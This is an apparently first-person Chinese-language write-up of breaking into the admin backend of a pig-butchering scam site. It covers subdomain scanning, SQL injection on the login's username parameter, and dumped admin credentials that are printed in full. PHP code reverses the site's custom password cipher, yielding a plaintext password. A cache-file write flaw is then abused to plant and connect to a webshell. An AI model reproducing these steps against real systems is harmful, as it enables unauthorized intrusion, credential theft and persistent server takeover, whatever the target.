1、首先访问杀猪盘主站。
2、通过扫描子域名找到后台管理系统。
 
3、对其后台的登录接口进行测试,发现接口的用户名参数存在sql注入,直接跑数据。
 
4、注入得到后台的账密如下,用户名和safecode是明文的,password使用自定义加密。
 
跑出来了账号密码结果是加密了的 admin | MDAwMDAwMDAwML6hd86RutB6h6qXbQ | 555888 
后来在网上找到了这个网站的源码,加密方式如下:
<?php
 $data = '123456';
 function encrypt($data, $key = '', $expire = 0) {
 $key = md5(empty($key) ? 'w%!)+bj$&sGX(Lp4Y@v;l#Q:i7c{MWOT-|AP"}gB
 ' : $key);
 $data = base64_encode($data);
 $x = 0;
 $len = strlen($data);
 $l = strlen($key);
 $char = '';
 for ($i = 0; $i < $len; $i++) {
 if ($x == $l) $x = 0;
 $char .= substr($key, $x, 1);
 $x++;
 }
 $str = sprintf('%010d', $expire ? $expire + time():0);
 for ($i = 0; $i < $len; $i++) {
 $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i,
 1)))%256);
 }
 return str_replace(array('+','/','='),array('-','_',''),base64_enco
 de($str));
 }
 function decrypt($data, $key = ''){
 $key = md5(empty($key) ? 'w%!)+bj$&sGX(Lp4Y@v;l#Q:i7c{MWOT-|AP"}
 gB' : $key);
 $data = str_replace(array('-','_'),array('+','/'),$data);
 $mod4 = strlen($data) % 4;
 if ($mod4) {
 $data .= substr('====', $mod4);
 }
 $data = base64_decode($data);
 $expire = substr($data,0,10);
 $data = substr($data,10);
 if($expire > 0 && $expire < time()) {
 return '';
 }
 $x = 0;
 $len = strlen($data);
 $l = strlen($key);
 $char = $str = '';
 for ($i = 0; $i < $len; $i++) {
 if ($x == $l) $x = 0;
 $char .= substr($key, $x, 1);
 $x++;
 }
 for ($i = 0; $i < $len; $i++) {
 if (ord(substr($data, $i, 1))<ord(substr($char, $i, 1))) {
 $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr
 ($char, $i, 1)));
 }else{
 $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char,
 $i, 1)));
 }
 }
 return base64_decode($str);
 }
 echo encrypt($data);
编写解密脚本:
<?php
 $password='MDAwMDAwMDAwML6hd86RutB6h6qXbQ';
 function decrypt($data, $key = ''){
 $key = md5('');
 $data = str_replace(array('-','_'),array('+','/'),$data);
 $mod4 = strlen($data) % 4;
 if ($mod4) {
 $data .= substr('====', $mod4);
 }
 $data = base64_decode($data);
 $expire = substr($data,0,10);
 $data = substr($data,10);
 if($expire > 0 && $expire < time()) {
 return '';
 }
 $x = 0;
 $len = strlen($data);
 $l = strlen($key);
 $char = $str = '';
 for ($i = 0; $i < $len; $i++) {
 if ($x == $l) $x = 0;
 $char .= substr($key, $x, 1);
 $x++;
 }
 for ($i = 0; $i < $len; $i++) {
 if (ord(substr($data, $i, 1))<ord(substr($char, $i, 1))) {
 $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr
 ($char, $i, 1)));
 }else{
 $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char,
 $i, 1)));
 }
 }
 echo base64_decode($str);
 }
 echo decrypt($password);
 ?>
 admin 的密码为 facai@88
 5、使用admin/facai@88/555888 成功登录到后台。
6、然后通过对源代码进行分析,源码中的 \app\Home\Controller\NewsController.class.php 
这个文件通过这个调⽤F()函数⽣ 成了/Runtime/Data/catelist.php/catelist.php⽂件 
相当于就是通过在后台资讯栏⽬中栏目名称写入我们的 webshell,然后再去前台 进⾏注册,注册好后点击你修改的上级栏⽬,即可触发的函数,写⼊⽊⻢。
7、然后我们去访问前台的帮助指南
8、 这个时候我们写入的 php 代码就写入了 Runtime/Data/catelist.php。
9、最后访问 ssRuntime/Data/catelist.php 就会生成 Runtime/Data/a.php 这个木马文件。
 
10、连接上传的webshell,拿下目标。